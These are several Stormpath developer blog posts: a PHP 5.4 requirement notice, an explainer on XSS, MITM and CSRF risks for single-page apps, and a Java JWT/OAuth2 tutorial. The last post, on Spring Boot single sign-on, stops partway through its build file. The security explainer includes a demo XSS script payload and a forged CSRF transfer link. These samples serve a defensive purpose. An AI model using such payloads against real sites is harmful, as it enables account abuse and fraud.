In the next week, you will notice a new release of the PHP SDK that requires you to update your version of PHP to at least 5.4-stable. After joining Stormpath full time last week, it’s been my top priority to ensure the SDK is on track and up to the standards of our other SDKs. Its critical to ensure that our SDKs have the best security support available, and we hope this helps add support new features that were not available in PHP version 5.3.

From PHP 5.3 to PHP 5.4

The plan to remove support for PHP 5.3 has been in the works since earlier in 2015. There were some very good additions to this version of PHP: Namespaces, closures, and PHAR. These HUGE additions represented huge progress for PHP when they were made back in mid 2009.

Fast forward six years: as the language progressed into 5.4, more and more great additions were added to PHP. We could not use them, because we were still supporting an older version.

What the 5.3 End of Life Mean for the PHP SDK?

If you are still using PHP 5.3 you will not be able to upgrade the Stormpath PHP SDK package past 1.6.0-beta, as we will be implementing some features that are not available in PHP 5.3 We understand this can be a major pain for our customers, but we hope for the security of your users that you will plan an upgrade to 5.4.

We will be releasing a major update to the SDK in the coming weeks to include these features, and end 5.3 support.

If you have any questions or issues during regarding the SDK, please let us know. Contact us at support@stormpath.com and we will be happy to help you.

The Roadmap for PHP Support at Stormpath

For full transparency into our plans for minimum PHP version support, here is a chart that shows the roadmap of PHP version support in the Stormpath SDK:

PHP Release Timeline

Going forward, we will follow closely with the EOL support provided by the PHP community. Once a version of the language is EOL from PHP, we will also release a new version of the SDK that requires you to upgrade your version to at least the lowest supported version of PHP.

We always suggest that you keep your PHP version up to the latest stable version, for your security and that of your customers. At the time of this writing would be version 5.6, with PHP 7 right around the corner.

Stormpath is committed to making this transition as easy as possible and would like to remind you again that you can always contact support@stormpath.com for any questions or issues you may have during your upgrade of PHP.

The Problem with Securing Single Page Applications

$
0
0

We talk a lot about Token Authentication, but before diving into the details of how to use tokens, it’s critical for developers to understand the underlying security issues. Why do tokens matter and what types of vulnerabilities they protect an application from?

“Problem” is such a negative word. Let’s say that Single Page Applications (SPAs) and mobile webapps present new security “challenges”. We call these types of applications “untrusted clients” since our server-side code has no control over the environment they run in. Even regular web applications have these issues. People can easily alter or inject javascript code on a page through the developer console. Mobile apps, such as those on Android and iOS, can be decompiled and inspected. As such, you would not want to embed sensitive information like secret keys or passwords in these types of clients.

In this post, I will cover some of the best techniques to secure webapps and how to handle the pitfalls with those approaches. This post applies to all modern programming languages.

Buckle up – we’ve got a lot of ground to cover. Lets get started!

Security Concerns for Modern Webapps

The primary goal of web application security is to prevent malicious code from running in our applications. We want to ensure user credentials are sent to our servers in a secure way. We want to secure our API endpoints. As a bonus, we want to expose access control rules to the client.

The following sections address each of these concerns.

Cross Site Scripting (XSS) Attacks

XSS attacks occur when a vulnerable application allows arbitrary javascript code to be injected and executed on your page. This often occurs through the form fields on the page.

The Open Web Application Security Project (OWASP) pages are an excellent resource for information on XSS attacks, as well as other types of web client vulnerabilities and remedies.

In the clip below, you can see this behavior in action. This is taken from the app security live example page.

xss

I put script tags into the search field of the page form. Since this site is not protected against XSS attacks, it goes ahead and executes that script code, resulting in the alert popup.

xss<script>alert('hi!');</script>

The problem here is that on this page, anything that’s put into the input field is sent back to the page and rendered verbatim.

There’s a great cheat sheet on owasp for how to prevent XSS.

In a nutshell, the remedy for XSS is to escape all user input. On the cheatsheet referenced above, there are links to a number of XSS protection libraries. It’s best to use an existing, trusted and open source library for this. You definitely do not want to “roll your own” as a lot of due diligence has been done on a mature library. You could miss vectors of attack or even introduce new ones writing your own escaping library.

A number of popular frameworks, such as AngularJs, have XSS protections out-of-the-box, but you should still understand what’s included in that protection.

Secure User Credentials

Traditionally, users enter their authentication information in the form of a username and password and transmit that information up to the application server (hopefully in a secure fashion) as an HTTP POST. Assuming the credentials are correct, the application server creates a unique session id to identify the user and sends it back in the form of a Set-Cookie header on the response. On each subsequent request from the user, that session id is presented in the request in the form of a Cookie header. Here’s what this looks like:

session cookie

The use of the session id accomplishes a few important goals:

  1. The userid and password do not need to be sent up to the application server on subsequent requests. The session id can become a proxy to represent the user.
  2. The application server typically uses the session id to store information about the user, such as name, permissions, and other meta-data

A similar process is used to secure API endpoints with session IDs. Java security frameworks like Apache Shiro and Spring Security make use of annotations to express how web applications and APIs should be secured. They do much of the heavy lifting involved in managing session data as well. This includes storing, retrieving, and expiring sessions and their associated data.

In order to get at the user information identified by the session id, an additional round trip on the network is required. Endpoints, such as /me or /profile are commonly used to accomplish this. The session id itself does not contain any information that can be used by a client, such as a browser.

These are among the drawbacks and challenges to this approach that we’ll address in the next post. We think that authentication tokens address these issues better, but more on that later.

Use Cookies the Right Way

Cookies are ok, if done correctly. They can be compromised in a number of ways. We are going to look at two of these vulnerabilities in detail.

Man-in-the-Middle (MITM) Attacks

Man-in-the-middle refers to a situation where you believe you are connecting to a particular server, but in reality there is another “listener” in between you and your intended server. That listener, which you are actually connected to, intercepts your communication and usually will replay it to the server you intended to reach. This is what makes it seem like you are connected to where you intended to go – the listener is ferrying data back and forth between you and the server, all the while saving data or even altering responses from your intended server.

Watch out for the scenario where you establish a secure connection with HTTPS and then downgrade that connection back to HTTP. This is never safe. Once the connection is downgraded, the session id will be passed in the clear on the network – such as that cozy coffee shop you are sitting in – and anyone listening in would be able to use that id. This is a variation on the typical man-in-the-middle attack. The goal is to get a hold of your session id and then use that id to impersonate you on the website to which you are authenticated. This is called hijacking the session.

The remedy here is to use HTTPS everywhere and to use TLS even on internal networks. This last point is important to guard against other attack vectors. For instance, log files and database dumps pose a vulnerability for an out-of-band attack.

If your webserver is very secure, but you log session IDs to a log file and you save those log files in a less secure place, attackers can hijack sessions by getting a hold of that backed up log file. Likewise, if your database is very secure, but your dumpfiles are backed up to a less secure location, attackers can brute-force crack passwords at their leisure if they are able to get a hold of a database dump file.

Cross Site Request Forgery (CSRF)

"... occurs when a malicious web site, email, blog, instant message or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated"

from: Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

CSRF occurs when a malicious site has a link or form that connects to another site that you are already logged in to. Here’s an example scenario:

  1. You log in to your bank account at https://myficticiousbank.com, as you normally would to review your balance and transactions
  2. You don’t log out
  3. You get an email from your buddy that has a link in that says: “See cute cats”
  4. Unbeknownst to you, that link connects back to your bank’s website and performs a transaction to send money to Mr. Bad Guy

How is this possible? Firstly, this exact scenario is very unlikely because banks are very familiar with CSRF and protect against it. Assuming that wasn’t the case for the purposes of this example, it’s possible because you have an active session with your bank. The attacker has no knowledge of your session id or any other cookies. The attacker is just counting on the chance that you didn’t log out of your session. When you click the link, the browser happily sends along the cookies representing your session since there is already session associated with the domain you are now connecting to. Let’s take a look at what the link in that email might look like:

<a href="https://myficticiousbank.com/transfer?to=MrBadGuy&amount=10000">
    See Cute Cats!
</a>

All you see is the link to click on. Once clicked, you’re not going to see cute cats at all! You will be back at your bank’s website, probably confused as to why you just transferred all your money to Mr. Bad Guy.

There are three primary remedies for CSRF that we will examine now:

  • Synchronizer Token
  • Double Submit Cookie
  • Origin header check
Synchronizer Token

With the Synchronizer Token approach, the server embeds a dynamic hidden variable in an input form. When the form is submitted, the server can check to make sure that the hidden variable is present and that it is the correct value. Let’s say you are on a trusted travel site and you are about to book a vacation around the world. Here’s how the “buy” form looks:

synchronizer token success

Now, let’s say you get an email with a link to book the vacation of your dreams with your trusted travel site. The link actually connects to a hacker site that’s trying to get you to use your trusted vacation site to book travel for them! The form looks the same as your trusted travel site and you don’t notice that the url is different. However, since your trusted travel site has implemented a Synchronizer Token approach to defeating CSRF attacks, when you click the Buy button, the transaction fails. There’s no way for the hacker site to know what the correct token should be. When the hidden token field is not present on the form submit, the trusted travel site fails the transaction.

synchronizer token failure

With the Synchronzier Token approach, you can use the same token over again, but it’s better to have it be a nonce – that is a one-time use token. Using nonces prevent replay attacks.

There are a few considerations in the Synchronizer Token approach. Your rendering layer will have to cooperate in some way in order to place the token in the hidden field on your form. View templating frameworks, such as Thymeleaf, provide this functionality out-of-the-box. Synchronizer Tokens necessarily have to be kept in some sort of data store or cache. This can lead to other challenges at scale, such as having to propagate token IDs across a cluster of web servers. It’s challenging to accomplish the Synchronizer Token approach for Single Page Applications (SPAs). SPAs are typically pre-compiled, static pages with a pile of Javascript used to accomplish updating parts of the DOM. Using Synchronizer Tokens requires being able to generate the hidden token field on the form. Finally, Synchronizer Tokens only protect against forged POST requests. This isn’t a real problem as long as you adhere to the idempotent nature of GET requests that are baked into the HTTP spec: GET requests should never modify server state.

Double Submit Cookie

With the Double Submit Cookie approach, two cookies are sent back to the browser. One is the session id and the other is a random value (similar to the synchronizer token). There are two keys to this mechanism working. The first is a mechanism built into the browser called the Same Origin Policy. This permits the script code to interact with other server endpoints only if those endpoints have the same origin (base URI) as the endpoint that delivered said script code. You might be asking yourself, “If one cookie isn’t secure on its own, how are two cookies going to be more secure?” They key is in the second enabling mechanism: Having the second cookie included in subsequent requests in a custom header. It is up to your client script code to ensure that this is setup properly. Here’s how the interaction works:

double submit cookie

When you request the login page, two cookies are sent back by the server. The second cookie is used in a custom header (X-XSRF-Token in this case, but it could be anything) for subsequent requests from the browser. The server checks for the existence of the custom header and checks the value against what was sent for that page.

Similar to the Synchronizer Token approach, an external site trying to spoof a page and trick you into submitting data to an active session, would fail as it would not be able to set the custom header for a site at a different URL.

Origin header check

All browsers, including Internet Explorer 9 and later, send an Origin header in their requests. This header is not allowed to be set by Javascript which gives you a high degree of confidence that the browser has the right information in that header. The server can then explicitly check that header and verify that the base URI matches the server’s. If the server is set to reject browser requests where the base URI in the Origin header does not match the expected value, then a third-party site trying to spoof the look of your page would be foiled as the Origin set in the browser would be different than what was expected.

Here’s what it looks like:

origin header

When I submit the form to register for a Stormpath account, the browser automatically includes the Origin: https://api.stormpath.com header. Stormpath’s servers can check for that header and reject the request if the value of the Origin header is something else.

This section on the remedies for Cross Site Request Forgery has focused primarily on securing the browser. We are next going to look at session IDs themselves with an eye to the server side of the interactions and how we can secure them.

Session ID Challenges

The session IDs we’ve been looking at so far, usually managed in the form of cookies, have a number of challenges associated with them. Of primary importance is that as your infrastructure grows, you may find it difficult for your session mechanism to grow with you.

Imagine you start out with one application server. It manages sessions by saving them to a local datastore, such as redis. Your service takes off and you need three application servers to handle the load. Now, you are in a situation where the application server a user connects with to start their session may not be the same application that user connects with to continue their session. You may find yourself needing a whole centralized session id de-referenceing service. That is, a service to ensure that all sessions are kept in sync across all of your application servers. This is a challenging issue at scale.

Even on a single application server instance, there’s a cost with session IDs. The user and session data associated with that id has be stored. It also must be referenced on each and every interaction with the application server. This can be costly in terms of slower resources, such as persisting sessions to disk or in the memory required to keep this data cached.

Session IDs have no inherent value other than as a unique identifier. A client, such as your web browser, cannot inspect the session id to find out what you are allowed to do in the application. Separate requests are needed to get that authorization information.

This is where Token Authentication comes in.

Use Token Authentication To Secure Your Single-Page Application

In the sequel to this post, we’ll dive into how Token Authentication can be used to address these issues and more. We’ll focus on how JSON Web Tokens (JWTs) can not only be used as a session identifier, but also contains encoded meta-data and is cryptographically signed. We’ll see this in action in a Java code example.

Java developers can see these techniques in action in my tutorial on Token Authentication for Java Web Applications – it covers how your Java app can benefit from token auth and walks through a Java example available in the Stormpath Java SDK repo, and show you how to use tokens in your own Java application.

Feel free to drop a line over to email or to me personally anytime.

Like what you see? to keep up with the latest releases.

Token Authentication for Java Applications

$
0
0

In my last post, we covered a lot of ground, including how we traditionally go about securing websites, some of the pitfalls of using cookies and sessions, and how to address those pitfalls by traditional means.

In this post we’ll go beyond the traditional and take a deep dive into how token authentication with JWTs (JSON Web Tokens) not only addresses these concerns, but also gives us the benefit of inspectable meta-data and strong cryptographic signatures.

Token Authentication to the Rescue!

Let’s first examine what we mean by authentication and token in this context.

Authentication is proving that a user is who they say they are.

A token is a self-contained singular chunk of information. It could have intrinsic value or not. We are going to look at a particular type of token that does have intrinsic value and addresses a number of the concerns with session IDs.

JSON Web Tokens (JWTs)

JWTs are a URL-safe, compact, self-contained string with meaningful information that is usually digitally signed or encrypted. They’re quickly becoming a de-facto standard for token implementations across the web.

URL-safe is a fancy way of saying that the entire string is encoded so there are no special characters and the token can fit in a URL.

The string is opaque and can be used standalone in much the same way that session IDs are used. By opaque, I mean that looking at the string itself provides no additional information.

However, the string can also be decoded to pull out-meta data and it’s signature can be cryptographically verified so that your application knows that the token has not been tampered with.

JWTs and Oauth2 Access Tokens

Many OAuth2 implementations are using JWTs for their access tokens. It should be stated that the OAuth2 and JWT specifications are completely separate from each other and don’t have any dependencies on each other. Using JWTs as the token mechanism for OAuth2 affords a lot of benefit as we’ll see below.

JWTs can be stored in cookies, but all the rules for cookies we discussed before still apply. You can entirely replace your session id with a JWT. You can then gain the additional benefit of accessing the meta-information directly from that session id.

In the wild, they look like just another ugly string:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vdHJ1c3R5YXBwLmNvbS8iLCJleHAiOjEzMDA4MTkzODAsInN1YiI6InVzZXJzLzg5ODM0NjIiLCJzY29wZSI6InNlbGYgYXBpL2J1eSJ9.43DXvhrwMGeLLlP4P4izjgsBB2yrpo82oiUPhADakLs

If you look carefully, you can see that there are two periods in the string. These are significant as they delimit different sections of the JWT.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
.
eyJpc3MiOiJodHRwOi8vdHJ1c3R5YXBwLmNvbS8iLCJleHAiOjEzMDA4MTkzODAsInN1YiI6InVzZXJzLzg5ODM0NjIiLCJzY29wZSI6InNlbGYgYXBpL2J1eSJ9
.
43DXvhrwMGeLLlP4P4izjgsBB2yrpo82oiUPhADakLs

JWT Structure

JWTs have a three part structure, each of which is base64-encoded:

jwt annotated

Here are the parts decoded:

Header

{
  "typ": "JWT",
  "alg": "HS256"
}

Claims

{
  "iss":"http://trustyapp.com/",
  "exp": 1300819380,
  "sub": "users/8983462",
  "scope": "self api/buy"
}

Cryptographic Signature

tß´—™à%O˜v+nî…SZu¯µ€U…8H×

JWT Claims

Let’s examine the claims sections. Each type of claim that is part of the JWT Specification can be found here.

iss is who issued the token. exp is when the token expires. sub is the subject of the token. This is usually a user identifier of some sort.

The above parts of the claim are all included in the JWT specification. scope is not included in the specification, but it is commonly used to provide authorization information. That is, what parts of the application the user has access to.

One advantage of JWTs is that arbitrary data can be encoded into the claims as with scope above. Another advantage is that the client can now react to this information without any further interaction with the server. For instance, a portion of the page may be hidden based on the data found in the scope claim.

NOTE: It is still critical and a best practice for the server to always verify actions taken by the client. If, for instance, some administrative action was being taken on the client, you would still want to verify on the application server that the current user had permission to perform that action. You would never rely on client side authorization information alone.

You may have picked up on another advantage: the cryptographic signature. The signature can be verified which proves that the JWT has not been tampered with. Note that the presence of a crytpographic signature does not guarantee confidentiality. Confidentiality is ensured only when the JWT is encrypted as well as signed.

Now, for the big kicker: statelessness. While the server will need to generate the JWT, it does not need to store it anywhere as all of the user meta-data is encoded right in to the JWT. The server and client could pass the JWT back and forth and never store it. This scales very well.

Managing Bearer Token Security

Implicit trust is a tradeoff. These types of tokens are often referred to as Bearer Tokens because all that is required to gain access to the protected sections of an application is the presentation of a valid, unexpired token.

You have to address issues like: How long should the token be good for? How will you revoke it? (There’s a whole other post we could do on refresh tokens.)

You have to be mindful of what you store in the JWT if they are not encrypted. Do not store any sensitive information. It is generally accepted practice to store a user identifier in the form of the sub claim. When a JWT is signed, it’s referred to as a JWS. When it’s encrypted, it’s referred to as a JWE.

Java, JWT and You!

We are very proud of the JJWT project on Github. Primarily authored by Stormpath’s own CTO, Les Hazlewood, it’s a fully open-source JWT solution for Java. It’s the easiest to use and understand library for creating and verifying JSON Web Tokens on the JVM.

How do you create a JWT? Easy peasy!

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

byte[] key = getSignatureKey();

String jwt =
    Jwts.builder().setIssuer("http://trustyapp.com/")
        .setSubject("users/1300819380")
        .setExpiration(expirationDate)
        .put("scope", "self api/buy")
        .signWith(SignatureAlgorithm.HS256,key)
        .compact();

The first thing to notice is the fluent builder api used to create a JWT. Method calls are chained culminating in the compact call which returns the final JWT string.

Also notice that when we are setting one of the claims from the specification, we use a setter. For example: .setSubject("users/1300819380"). When a custom claim is set, we use a call to put and specify both the key and value. For example: .put("scope", "self api/buy")

It’s just as easy to verify a JWT.

String subject = "HACKER";
try {
    Jws<Claims> jwtClaims =
        Jwts.parser().setSigningKey(key).parseClaimsJws(jwt);

    subject = claims.getBody().getSubject();

    //OK, we can trust this JWT

} catch (SignatureException e) {

    //don't trust the JWT!
}

If the JWT has been tampered with in any way, parsing the claims will throw a SignatureException and the value of the subject variable will stay HACKER. If it’s a valid JWT, then subject will be extracted from it: claims.getBody().getSubject()

What is OAuth?

In the next section, we’ll look at an example using Stormpath’s OAuth2 implementation, which makes use of JWTs.

There’s a lot of confusion around the OAuth2 spec. That’s, in part, because it is really an über spec – it has a lot of complexity. It’s also because OAuth1.a and OAuth2 are very different beasts. We are going to look at a very specific, easy to use, subset of the OAuth2 spec. We have an excellent post that goes into much more detail on What the Heck is OAuth. Here, we’ll give some brief background and then jump right into the examples.

OAuth2 is basically a protocol that supports authorization workflows. What this means is that it gives you a way to ensure that a specific user has permissions to do something.

That’s it.

OAuth2 isn’t meant to do stuff like validate a user’s identity — that’s taken care of by an Authentication service. Authentication is when you validate a user’s identity (like asking for a username / password to log in), whereas authorization is when you check to see what permissions an existing user already has.

Just remember that OAuth2 is a protocol for authorization.

Using OAuth Grant Types for Authorization

Let’s look at a typical OAuth2 interaction.

POST /oauth/token HTTP/1.1
Origin: https://foo.com
Content-Type: application/x-www-form-urlencoded

grant_type=password&username=username&password=password

grant_type is required. The application/x-www-form-urlencoded content type is required for this type of interaction as well. Given that you are passing the username and password over the wire, you would always want the connection to be secure. The good thing, however, is that the response will have an OAuth2 bearer token. This token will then be used for every interaction between the browser and server going forward. There is a very brief exposure here where the username and password are passed over the wire. Assuming the authentication service on the server verifies the username and password, here’s the response:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
    "access_token":"2YotnFZFEjr1zCsicMWpAA...",
    "token_type":"example",
    "expires_in":3600,
    "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA...",
    "example_parameter":"example_value"
}

Notice the Cache-Control and Pragma headers. We don’t want this response being cached anywhere. The access_token is what will be used by the browser in subsequent requests. Again, there is not direct relationship between OAuth2 and JWT. However, the access_token can be a JWT. That’s where the extra benefit of the encoded meta-data comes in. Here’s how the access token is leveraged in future requests:

GET /admin HTTP/1.1
Authorization: Bearer 2YotnFZFEjr1zCsicMW...

The Authorization header is a standard header. No custom headers are required to use OAuth2. Rather than the type being Basic, in this case the type is Bearer. The access token is included directly after the Bearer keyword. This completes the OAuth2 interaction for the password grant type. Every subsequent request from the browser can use the Authorizaion: Bearer header with the access token.

There’s another grant type known as client_credentials which uses client_id and client_secret, rather than username and password. This grant type is typically used for API interactions. While the client id and slient secret function similarly to a username and password, they are usually of a higher quality security and not necessarily human readable.

Take Us Home: OAuth2 Java Example

We’ve arrived! It’s time to dig into some specific code that demonstrates JWTs in action.

Spring Boot Web MVC

There are a number of examples in the Stormpath Java SDK. Here, we are going to look at a Spring Boot Web MVC example. Here’s the HelloController from the example:

@RestController
public class HelloController {

    @RequestMapping("/")
    String home(HttpServletRequest request) {

        String name = "World";

        Account account = AccountResolver.INSTANCE.getAccount(request);
        if (account != null) {
            name = account.getGivenName();
        }

        return "Hello " + name + "!";
    }

}

The key line, for the purposes of this demonstration is:

Account account = AccountResolver.INSTANCE.getAccount(request);

Behind the scenes, account will resolve to an Account object (and not be null) ONLY if an authenticated session is present.

Build and Run the Example Code

To build and run this example, do the following:

☺ dogeared jobs:0 ~/Projects/StormPath/stormpath-sdk-java (master|8100m)
➥ cd examples/spring-boot-webmvc/
☺ dogeared jobs:0 ~/Projects/StormPath/stormpath-sdk-java/examples/spring-boot-webmvc (master|8100m)
➥ mvn clean package
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building Stormpath Java SDK :: Examples :: Spring Boot Webapp 1.0.RC4.6-SNAPSHOT
[INFO] ------------------------------------------------------------------------

... skipped output ...

[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 4.865 s
[INFO] Finished at: 2015-08-04T11:46:05-04:00
[INFO] Final Memory: 31M/224M
[INFO] ------------------------------------------------------------------------
☺ dogeared jobs:0 ~/Projects/StormPath/stormpath-sdk-java/examples/spring-boot-webmvc (master|8100m)

Launch the Spring Boot Example

You can then launch the Spring Boot example like so:

☺ dogeared jobs:0 ~/Projects/StormPath/stormpath-sdk-java/examples/spring-boot-webmvc (master|8104m)
➥ java -jar target/stormpath-sdk-examples-spring-boot-web-1.0.RC4.6-SNAPSHOT.jar

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::        (v1.2.1.RELEASE)

2015-08-04 11:51:00.127  INFO 17973 --- [           main] tutorial.Application                     : Starting Application v1.0.RC4.6-SNAPSHOT on MacBook-Pro.local with PID 17973

... skipped output ...

2015-08-04 11:51:04.558  INFO 17973 --- [           main] s.b.c.e.t.TomcatEmbeddedServletContainer : Tomcat started on port(s): 8080 (http)
2015-08-04 11:51:04.559  INFO 17973 --- [           main] tutorial.Application                     : Started Application in 4.599 seconds (JVM running for 5.103)

NOTE: This assumes that you’ve already setup a Stormpath account and that your api keys are located in ~/.stormpath/apiKey.properties. Look here for more information on quick setup up of Stormpath with Spring Boot.

Authenticate with a JSON Web Token (or Not)

Now, we can exercise the example and show some JWTs in action! First, hit your endpoint without any authentication. I like to use httpie, but any command line http client will do.

➥ http -v localhost:8080
GET / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: localhost:8080
User-Agent: HTTPie/0.9.2


HTTP/1.1 200 OK
Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, ...
Content-Length: 12
Content-Type: text/plain;charset=UTF-8
Date: Tue, 04 Aug 2015 15:56:41 GMT
Server: Apache-Coyote/1.1

Hello World!

The -v parameter produces verbose output and shows all the headers for the request and the response. In this case, the output message is simply: Hello World!. This is because there is not an established session.

Authenticate with the Stormpath OAuth Endpoint

Now, let’s hit the oauth endpoint so that our server can authenticate with Stormpath. You may ask, “What oauth endpoint?” The controller above doesn’t indicate any such endpoint. Are there other controllers with other endpoints in the example? No, there are not! Stormpath gives you oauth (and many other) endpoints right out-of-the-box. Check it out:

➥ http -v --form POST http://localhost:8080/oauth/token  \
> 'Origin:http://localhost:8080' \
> grant_type=password username=micah+demo.jsmith@stormpath.com password=<actual password>
POST /oauth/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Host: localhost:8080
Origin: http://localhost:8080
User-Agent: HTTPie/0.9.2

grant_type=password&username=micah%2Bdemo.jsmith%40stormpath.com&password=<actual password>

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 325
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Aug 2015 16:02:08 GMT
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: account=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxNDQyNmQxMy1mNThiLTRhNDEtYmVkZS0wYjM0M2ZjZDFhYzAiLCJpYXQiOjE0Mzg3MDQxMjgsInN1YiI6Imh0dHBzOi8vYXBpLnN0b3JtcGF0aC5jb20vdjEvYWNjb3VudHMvNW9NNFdJM1A0eEl3cDRXaURiUmo4MCIsImV4cCI6MTQzODk2MzMyOH0.wcXrS5yGtUoewAKqoqL5JhIQ109s1FMNopL_50HR_t4; Expires=Wed, 05-Aug-2015 16:02:08 GMT; Path=/; HttpOnly

{
    "access_token": "eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxNDQyNmQxMy1mNThiLTRhNDEtYmVkZS0wYjM0M2ZjZDFhYzAiLCJpYXQiOjE0Mzg3MDQxMjgsInN1YiI6Imh0dHBzOi8vYXBpLnN0b3JtcGF0aC5jb20vdjEvYWNjb3VudHMvNW9NNFdJM1A0eEl3cDRXaURiUmo4MCIsImV4cCI6MTQzODk2MzMyOH0.wcXrS5yGtUoewAKqoqL5JhIQ109s1FMNopL_50HR_t4",
    "expires_in": 259200,
    "token_type": "Bearer"
}

There’s a lot going on here, so let’s break it down.

On the first line, I am telling httpie that I want to make a form url-encoded POST – that’s what the --form and POST parameters do. I am hitting the /oauth/token endpoint of my locally running server. I specify an Origin header. This is required to interact with Stormpath for the security reasons we talked about previously. As per the OAuth2 spec, I am passing up grant_type=password along with a username and password.

The response has a Set-Cookie header as well as a JSON body containing the OAuth2 access token. And guess what? That access token is also a JWT. Here are the claims decoded:

{
  "jti": "14426d13-f58b-4a41-bede-0b343fcd1ac0",
  "iat": 1438704128,
  "sub": "https://api.stormpath.com/v1/accounts/5oM4WI3P4xIwp4WiDbRj80",
  "exp": 1438963328
}

Notice the sub key. That’s the full Stormpath URL to the account I authenticated as. Now, let’s hit our basic Hello World endpoint again, only this time, we will use the OAuth2 access token:

➥ http -v localhost:8080 \
> 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxNDQyNmQxMy1mNThiLTRhNDEtYmVkZS0wYjM0M2ZjZDFhYzAiLCJpYXQiOjE0Mzg3MDQxMjgsInN1YiI6Imh0dHBzOi8vYXBpLnN0b3JtcGF0aC5jb20vdjEvYWNjb3VudHMvNW9NNFdJM1A0eEl3cDRXaURiUmo4MCIsImV4cCI6MTQzODk2MzMyOH0.wcXrS5yGtUoewAKqoqL5JhIQ109s1FMNopL_50HR_t4'
GET / HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxNDQyNmQxMy1mNThiLTRhNDEtYmVkZS0wYjM0M2ZjZDFhYzAiLCJpYXQiOjE0Mzg3MDQxMjgsInN1YiI6Imh0dHBzOi8vYXBpLnN0b3JtcGF0aC5jb20vdjEvYWNjb3VudHMvNW9NNFdJM1A0eEl3cDRXaURiUmo4MCIsImV4cCI6MTQzODk2MzMyOH0.wcXrS5yGtUoewAKqoqL5JhIQ109s1FMNopL_50HR_t4
Connection: keep-alive
Host: localhost:8080
User-Agent: HTTPie/0.9.2



HTTP/1.1 200 OK
Content-Length: 11
Content-Type: text/plain;charset=UTF-8
Date: Tue, 04 Aug 2015 16:44:28 GMT
Server: Apache-Coyote/1.1

Hello John!

Notice on the last line of the output that the message addresses us by name. Now that we’ve established an authenticated session with Stormpath using OAuth2, these lines in the controller retrieve the first name:

Account account = AccountResolver.INSTANCE.getAccount(request);
if (account != null) {
    name = account.getGivenName();
}

Summary: Token Authentication for Java Apps

In this post, we’ve looked at how token authentication with JWTs not only addresses the concerns of traditional approaches, but also gives us the benefit of inspectable meta-data and strong cryptographic signatures.

We gave an overview of the OAuth2 protocol and went through a detailed example of how Stormpath’s implementation of OAuth2 uses JWTs.

Here are some other links to posts on token based authentication, JWTs and Spring Boot:

Token Based Authentication for Angular.js

JJWT – JSON Web Token for Java and Android

Spring Boot Webapp Sample Quickstart

JWT Specification

Feel free to drop a line over to email or to me personally anytime.

Like what you see? to keep up with the latest releases.

Single Sign-on for Java in 20 Minutes with Spring Boot and Heroku

$
0
0

I love how Java keeps reinventing itself to stay current and relevant (I can hear all my Node.js and Ruby friends groaning). The ecosystem that supports Java is keeping pace with new developments as well. Today, it’s as easy today to build, test and deploy a rich Java web app as quickly as in Python or Node.js (more groans).

One piece of that is Spring Boot, which makes building and launching a Java webapp in minutes a reality. Heroku’s focus on Java support also speeds things along.

Finally, Stormpath means developers don’t have to build authentication and authorization workflows. Stormpath’s identity API and single sign-on functionality (via IDSite) provide out-of-the-box account registration, login, email workflows and single sign-on across applications. These flows include default forms and views, all of which are customizable.

In this post, we will put all that together and get the added bonus of Single Signon across your applications – all within 20 minutes.

Read on – tick tock!

Here are the prerequisites you need for this tutorial:

  • Gradle 2.x
    • On Mac: brew install gradle
  • Heroku
  • A Stormpath Account (which we will also cover below)

Note: You can just as easily use Maven. The source code that goes with this post includes a pom.xml, if that’s your prefered build tool.

To make it super easy, we’ve added a handy Heroku deploy button to each example, so you can see it in action right away. If this takes you more than 20 minutes, please let us know what held you up in the comments. We love feedback.

Launch Spring Boot – 5 Minute Tutorial

Note: If you are already well versed in the world of Spring Boot, you may want to jump to the next section. There – I just saved you 5 minutes. Your welcome.

This section uses the SpringBootBasic tag in the github repository.

Deploy

Spring Boot enables you to fire up a fully functioning Java web application just like you would start a simple Java application. It has a main method and everything. For instance, the @SpringBootlApplication annotation does everything that the @Configuration, @EnableAutoConfiguration and @ComponentScan annotations (with their default attributes) do in a vanilla Spring application.

What makes Spring Boot work so well and so easily are Starter packages that add in functionality, including default configuration. The Stormpath Spring Boot Thymeleaf Starter we will use further on bakes in all of the Stormpath functionality for creating new users, logging in and changing passwords. All you do is reference a single jar in your build.gradle or pom.xml file.

For our basic example, we are going to include the core Spring Boot Starter Web and the Thymeleaf Spring Boot Starter. Thymeleaf is a modern HTML 5 Java templating engine.

Here’s our build.gradle:

buildscript {
    repositories {
        mavenCentral()
    }
    dependencies {
        classpath("org.springframework.boot:spring-boot-gradle-plugin:1.2.5.RELEASE")
    }
}

apply plugin: 'java'
apply plugin: 'maven'
apply plugin: 'spring-boot'

group = 'com.stormpath'
version = '0.1.0'

sourceCompatibility = 1.8
targetCompatibility = 1.8

repositories {
    mavenCentral()
}

dependencies {
    compile group: 'org.springframework.boot', name: 'spring-boot-starter-web', version:'1.2.5.RELEASE'
